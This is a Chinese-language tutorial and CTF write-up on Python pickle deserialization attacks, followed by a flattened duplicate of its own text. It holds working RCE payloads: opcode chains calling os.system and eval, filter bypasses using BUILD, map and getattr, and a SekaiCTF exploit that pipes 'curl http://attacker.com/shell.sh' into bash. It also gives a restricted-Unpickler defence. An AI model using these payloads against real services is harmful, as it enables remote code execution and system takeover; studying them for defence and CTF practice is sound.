最近碰到的 Python pickle 反序列化小总结
字数 2225 2025-08-26 22:11:45

Python Pickle 反序列化安全研究

1. Pickle 基础

1.1 Pickle 概述

Pickle 是 Python 的一种栈语言,基于轻量的 PVM (Pickle Virtual Machine) 运行。它通过指令处理器从流中读取 opcode 和参数,并解释处理,直到遇到结束符 . 停止。

1.2 PVM 组件

  • Stack:由 Python list 实现,用于临时存储数据、参数和对象
  • Memo:由 Python dict 实现,为 PVM 整个生命周期提供存储

1.3 可序列化类型

以下类型可以被 pickle 序列化:

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可打包对象的集合(tuple、list、set 和 dict)
  • 定义在模块顶层的函数(def 定义,lambda 不行)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例(dict 属性或 __getstate__() 返回值可被打包)

1.4 协议版本

当前共有 6 种不同的 pickle 协议:

版本 引入版本 特点
v0 早期版本 原始"人类可读"协议
v1 早期版本 较早的二进制格式
v2 Python 2.3 为新式类提供更高效封存
v3 Python 3.0 显式支持 bytes 对象
v4 Python 3.4 支持大对象,存储更多对象类型
v5 Python 3.8 支持带外数据,加速带内数据处理

2. Pickle 常用方法

2.1 序列化方法

pickle.dump(obj, file, protocol=None, *, fix_imports=True)
pickle.dumps(obj, protocol=None, *, fix_imports=True)

2.2 反序列化方法

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

2.3 __reduce__ 魔术方法

__reduce__() 是 object 类中的魔术方法,重写它可以控制对象在被实例化时的行为。该方法需要返回一个字符串或元组。

当返回元组 (callable, ([para1, para2...])) 时,该类的对象被反序列化时会调用 callable,并传入参数。

3. Pickle 指令集

以下是 Pickle 的主要操作码:

操作码 描述
MARK = b'(' 压入特殊 markobject 到栈
STOP = b'.' 每个 pickle 以 STOP 结束
POP = b'0' 丢弃栈顶项
REDUCE = b'R' 对栈上的可调用对象和参数元组应用调用
GLOBAL = b'c' 调用 find_class(modname, name)
BUILD = b'b' 调用 __setstate____dict__.update()
INST = b'i' 构建并压入类实例
OBJ = b'o' 构建并压入类实例
NEWOBJ = b'\x81' 通过 cls.new 构建对象

4. 漏洞产生与利用

4.1 漏洞产生原因

用户可控的反序列化入口点(如 pickle.loads() 的参数可控)。

4.2 攻击场景

4.2.1 操控实例化对象属性

通过修改序列化数据中的属性值来改变对象行为。

4.2.2 变量覆盖

直接覆盖模块中的变量值。

4.2.3 RCE (远程代码执行)

利用 __reduce__ 或直接构造 opcode 实现命令执行。

基础 RCE 构造

cos system
(S'ls'
tR.

等价于:

__import__('os').system(*('ls',))

使用 __reduce__

class Test(object):
    def __reduce__(self):
        return (os.system, ('calc',))

4.3 高级利用技巧

4.3.1 绕过 find_class 限制

通过构造类似 find_class 的逻辑进行 payload 构造,如:

cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)tRp2
0g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'
tR.

4.3.2 R 指令被过滤时的绕过

使用 b (BUILD) 指令:

o}(S"__setstate__"
cos
system
ubS"calc"
b.

4.3.3 使用 Python 内置函数绕过

利用 mapfilter 函数:

c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81
p3
0c__builtin__
tuple
p4
(g3
t
\x81
.

4.3.4 敏感字符绕过

  • 使用十六进制编码:

    S'flag' => S'\x66\x6c\x61\x67'
    
  • 使用 Unicode 编码:

    S'flag' => V'\u0066\u006C\u0061\u0067'
    

4.3.5 利用内置函数取关键字

(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.

5. 漏洞修复

5.1 基本修复原则

永远不要反序列化不受信任或未经验证来源的数据。

5.2 重写 Unpickler.find_class()

限制可用的全局变量:

import builtins
import io
import pickle

safe_builtins = {'range', 'complex', 'set', 'frozenset', 'slice'}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

6. 实际案例分析

6.1 强网杯 2022 crash

绕过黑名单(禁用 R 和 "secret"):

b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

6.2 Code-Breaking 2018 picklecode

利用 builtins.getattr 绕过限制:

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("calc")'
tR.

6.3 SekaiCTF 2022 Bottle Poem

利用 cookie_encode 进行 pickle 反序列化:

import os
from bottle import cookie_encode

class Test:
    def __reduce__(self):
        return (eval, ('__import__("os").popen("curl http://attacker.com/shell.sh|bash")',))

exp = cookie_encode(('session', {"name": [Test()]}), "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
print(exp)

6.4 美团CTF 2022 ezpickle

绕过 R/i/o/b 过滤:

opcode = b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81
p3
0c__builtin__
tuple
p4
(g3
t
\x81
.'''

7. 总结

Pickle 反序列化漏洞的核心在于:

  1. 存在用户可控的反序列化入口
  2. 能够构造恶意序列化数据
  3. 缺乏适当的过滤和限制

防御措施应包括:

  • 避免反序列化不可信数据
  • 实现严格的 find_class 限制
  • 使用更安全的序列化格式(如 JSON)
  • 对序列化数据进行签名验证
Python Pickle 反序列化安全研究 1. Pickle 基础 1.1 Pickle 概述 Pickle 是 Python 的一种栈语言,基于轻量的 PVM (Pickle Virtual Machine) 运行。它通过指令处理器从流中读取 opcode 和参数,并解释处理,直到遇到结束符 . 停止。 1.2 PVM 组件 Stack :由 Python list 实现,用于临时存储数据、参数和对象 Memo :由 Python dict 实现,为 PVM 整个生命周期提供存储 1.3 可序列化类型 以下类型可以被 pickle 序列化: None、True 和 False 整数、浮点数、复数 str、byte、bytearray 只包含可打包对象的集合(tuple、list、set 和 dict) 定义在模块顶层的函数(def 定义,lambda 不行) 定义在模块顶层的内置函数 定义在模块顶层的类 某些类实例(dict 属性或 __getstate__() 返回值可被打包) 1.4 协议版本 当前共有 6 种不同的 pickle 协议: | 版本 | 引入版本 | 特点 | |------|----------|------| | v0 | 早期版本 | 原始"人类可读"协议 | | v1 | 早期版本 | 较早的二进制格式 | | v2 | Python 2.3 | 为新式类提供更高效封存 | | v3 | Python 3.0 | 显式支持 bytes 对象 | | v4 | Python 3.4 | 支持大对象,存储更多对象类型 | | v5 | Python 3.8 | 支持带外数据,加速带内数据处理 | 2. Pickle 常用方法 2.1 序列化方法 2.2 反序列化方法 2.3 __reduce__ 魔术方法 __reduce__() 是 object 类中的魔术方法,重写它可以控制对象在被实例化时的行为。该方法需要返回一个字符串或元组。 当返回元组 (callable, ([para1, para2...])) 时,该类的对象被反序列化时会调用 callable,并传入参数。 3. Pickle 指令集 以下是 Pickle 的主要操作码: | 操作码 | 描述 | |--------|------| | MARK = b'(' | 压入特殊 markobject 到栈 | | STOP = b'.' | 每个 pickle 以 STOP 结束 | | POP = b'0' | 丢弃栈顶项 | | REDUCE = b'R' | 对栈上的可调用对象和参数元组应用调用 | | GLOBAL = b'c' | 调用 find_ class(modname, name) | | BUILD = b'b' | 调用 __setstate__ 或 __dict__.update() | | INST = b'i' | 构建并压入类实例 | | OBJ = b'o' | 构建并压入类实例 | | NEWOBJ = b'\x81' | 通过 cls. new 构建对象 | 4. 漏洞产生与利用 4.1 漏洞产生原因 用户可控的反序列化入口点(如 pickle.loads() 的参数可控)。 4.2 攻击场景 4.2.1 操控实例化对象属性 通过修改序列化数据中的属性值来改变对象行为。 4.2.2 变量覆盖 直接覆盖模块中的变量值。 4.2.3 RCE (远程代码执行) 利用 __reduce__ 或直接构造 opcode 实现命令执行。 基础 RCE 构造 : 等价于: 使用 __reduce__ : 4.3 高级利用技巧 4.3.1 绕过 find_class 限制 通过构造类似 find_class 的逻辑进行 payload 构造,如: 4.3.2 R 指令被过滤时的绕过 使用 b (BUILD) 指令: 4.3.3 使用 Python 内置函数绕过 利用 map 或 filter 函数: 4.3.4 敏感字符绕过 使用十六进制编码: 使用 Unicode 编码: 4.3.5 利用内置函数取关键字 5. 漏洞修复 5.1 基本修复原则 永远不要反序列化不受信任或未经验证来源的数据。 5.2 重写 Unpickler.find_class() 限制可用的全局变量: 6. 实际案例分析 6.1 强网杯 2022 crash 绕过黑名单(禁用 R 和 "secret"): 6.2 Code-Breaking 2018 picklecode 利用 builtins.getattr 绕过限制: 6.3 SekaiCTF 2022 Bottle Poem 利用 cookie_encode 进行 pickle 反序列化: 6.4 美团CTF 2022 ezpickle 绕过 R/i/o/b 过滤: 7. 总结 Pickle 反序列化漏洞的核心在于: 存在用户可控的反序列化入口 能够构造恶意序列化数据 缺乏适当的过滤和限制 防御措施应包括: 避免反序列化不可信数据 实现严格的 find_class 限制 使用更安全的序列化格式(如 JSON) 对序列化数据进行签名验证